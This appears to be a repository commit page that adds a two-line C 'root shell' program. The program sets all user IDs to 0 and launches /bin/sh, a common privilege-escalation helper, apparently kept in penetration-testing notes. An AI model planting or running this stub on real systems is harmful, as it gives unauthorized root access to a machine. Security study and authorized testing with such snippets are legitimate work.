Add example c root-shells
This commit is contained in:
2
Miscellaneous/source-code/c-linux/tiny-shell.c
Normal file
2
Miscellaneous/source-code/c-linux/tiny-shell.c
Normal file
@@ -0,0 +1,2 @@
|
||||
// $ gcc tiny-shell.c
|
||||
int main(void){setresuid(0, 0, 0);system("/bin/sh");}
|
||||
Reference in New Issue
Block a user